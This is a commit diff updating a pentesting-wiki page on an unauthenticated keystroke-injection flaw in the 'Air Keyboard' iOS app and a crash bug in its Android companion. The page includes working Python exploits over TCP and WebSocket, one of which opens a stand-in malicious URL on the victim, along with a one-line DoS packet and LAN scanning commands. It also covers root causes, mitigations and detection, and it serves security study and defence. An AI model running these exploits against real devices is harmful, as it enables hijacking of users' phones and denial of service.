Add content from: Research Update: Enhanced src/mobile-pentesting/ios-pentesti...

This commit is contained in:
HackTricks News Bot 2025-07-28 08:31:28 +00:00
parent d753b3ed2f
commit b8413f5f9e

View File

@ -1,21 +1,28 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victims phone, achieving **full remote interaction hijacking**.
The iOS version of the commercial **“Air Keyboard”** application (App Store ID 6463187929) exposes a local-network service that **accepts keystroke frames without any authentication or origin verification**. Depending on the version installed the service is either:
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
* **≤ 1.0.4** raw TCP listener on **port 8888** that expects a 2-byte length header followed by a *device-id* and the ASCII payload.
* **≥ 1.0.5 (June 2025)** **WebSocket** listener on the *same* port (**8888**) that parses **JSON** keys such as `{"type":1,"text":"…"}`.
Any device on the same Wi-Fi / subnet can therefore **inject arbitrary keyboard input into the victims phone, achieving full remote interaction hijacking**.
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake but crafted garbage still causes an **unhandled exception inside OpenSSL**, crashing the background service (**DoS**).
> The vulnerability is **still unpatched at the time of writing (July 2025)** and the application remains available in the App Store.
---
## 1. Service Discovery
Scan the local network and look for the two fixed ports used by the apps:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
@ -24,16 +31,19 @@ nmap -p 55535 --open 192.168.1.0/24
On Android handsets you can identify the responsible package locally:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Frame Format (iOS)
On **jailbroken iOS** you can do something similar with `lsof -i -nP | grep LISTEN | grep 8888`.
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
---
## 2. Protocol Details (iOS)
### 2.1 Legacy (≤ 1.0.4) custom binary frames
```
[length (2 bytes little-endian)]
@ -41,64 +51,139 @@ The binary reveals the following parsing logic inside the `handleInputFrame()` r
[payload ASCII keystrokes]
```
The declared length includes the `device_id` byte **but not** the two-byte header itself.
The declared *length* includes the `device_id` byte **but not** the two-byte header itself.
### 2.2 Current (≥ 1.0.5) JSON over WebSocket
Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged. A minimal keystroke looks like:
```json
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
```
No handshake, token or signature is required the first JSON object already triggers the UI event.
---
## 3. Exploitation PoC
### 3.1 Targeting ≤ 1.0.4 (raw TCP)
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
print("[+] Injected", keystrokes)
```
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
### 3.2 Targeting ≥ 1.0.5 (WebSocket)
```python
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
```
*Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.*
---
## 4. Android Companion Denial-of-Service
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
The Android port (55535) expects a **4-character password encrypted with a hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Root Cause
---
1. **No origin / integrity checks** on incoming frames (iOS).
## 5. Related Apps A Recurring Anti-Pattern
Air Keyboard is **not an isolated case**. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw:
* **Telepad ≤ 1.0.7** CVE-2022-45477/78 allow unauthenticated command execution and plain-text key-logging.
* **PC Keyboard ≤ 30** CVE-2022-45479/80 unauthenticated RCE & traffic snooping.
* **Lazy Mouse ≤ 2.0.1** CVE-2022-45481/82/83 default-no-password, weak PIN brute-force and clear-text leakage.
These cases highlight a systemic neglect of **network-facing attack surfaces on mobile apps**.
---
## 6. Root Causes
1. **No origin / integrity checks** on incoming frames (iOS).
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
3. **User-granted Local-Network entitlement ≠ security** iOS requests runtime consent for LAN traffic, but it doesnt substitute proper authentication.
## 6. Mitigations & Hardening Ideas
---
* Never expose unauthenticated services on a mobile handset.
* Derive per-device secrets during onboarding and verify them before processing input.
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
## 7. Hardening & Defensive Measures
Developer recommendations:
* Bind the listener to **`127.0.0.1`** and tunnel over **mTLS** or **Noise XX** if remote control is needed.
* Derive **per-device secrets during onboarding** (e.g., QR code or Pairing PIN) and enforce *mutual* authentication before processing input.
* Adopt **Apple Network Framework** with *NWListener* + TLS instead of raw sockets.
* Implement **length-prefix sanity checks** and structured exception handling when decrypting or decoding frames.
Blue-/Red-Team quick wins:
* **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` or Wireshark filter `tcp.port == 8888`.
* **Runtime inspection:** Frida script hooking `socket()`/`NWConnection` to list unexpected listeners.
* **iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report)** highlights apps that contact LAN addresses useful for spotting rogue services.
* **Mobile EDRs** can add simple Yara-L rules for the JSON keys `"selectionStart"`, `"selectionEnd"` inside clear-text TCP payloads on port 8888.
---
## Detection Cheat-Sheet (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
```
---
## References
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
- [Exploit-DB 52333 Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (17 Jul 2025) Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}